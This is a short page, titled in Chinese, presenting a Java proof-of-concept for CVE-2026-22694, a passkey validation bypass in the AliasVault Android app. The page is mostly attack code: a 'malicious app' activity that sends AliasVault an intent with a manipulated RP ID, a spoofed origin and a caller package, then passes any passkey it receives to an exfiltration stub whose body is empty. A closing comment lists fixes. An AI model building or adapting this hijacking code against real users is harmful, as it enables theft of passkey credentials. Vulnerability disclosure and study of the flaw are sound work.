CVE-2026-22694 AliasVault Android passkey验证绕过漏洞

// CVE-2026-22694 PoC - Malicious Android App Attempting Passkey Hijacking // This is a conceptual PoC for educational purposes only package com.malicious.app; import android.app.Activity; import android.content.Intent; import android.os.Bundle; import androidx.annotation.NonNull; import androidx.annotation.Nullable; public class PasskeyHijackActivity extends Activity { private static final String ALIASVAULT_PACKAGE = "com.aliasvault.android"; private static final int REQUEST_PASSKEY = 1001; // Target RP ID the attacker wants to obtain passkey for private static final String TARGET_RP_ID = "legitimate-website.com"; @Override protected void onCreate(@Nullable Bundle savedInstanceState) { super.onCreate(savedInstanceState); // Craft malicious passkey request // Exploiting incomplete validation of: // 1. Calling app identity // 2. Origin // 3. RP ID Intent maliciousIntent = new Intent(); maliciousIntent.setPackage(ALIASVAULT_PACKAGE); maliciousIntent.setAction("android.credentials.VIEW_PASSKEY"); // Inject manipulated RP ID maliciousIntent.putExtra("rp_id", TARGET_RP_ID); // Spoof origin (incomplete validation allows this) maliciousIntent.putExtra("origin", "https://malicious-site.com"); // Missing proper app signature verification maliciousIntent.putExtra("calling_package", getPackageName()); startActivityForResult(maliciousIntent, REQUEST_PASSKEY); } @Override protected void onActivityResult(int requestCode, int resultCode, @Nullable Intent data) { super.onActivityResult(requestCode, resultCode, data); if (requestCode == REQUEST_PASSKEY) { // If successful, attacker obtains passkey response if (resultCode == RESULT_OK && data != null) { String passkeyResponse = data.getStringExtra("passkey_response"); // Exfiltrate passkey to attacker server exfiltrateData(passkeyResponse); } } } private void exfiltrateData(String data) { // Send stolen passkey to attacker-controlled server } } /* Fix verification in AliasVault Android Credential Provider: 1. Verify calling app's signature certificate 2. Validate origin matches expected domain 3. Strictly check RP ID hash 4. Implement proper app binding verification */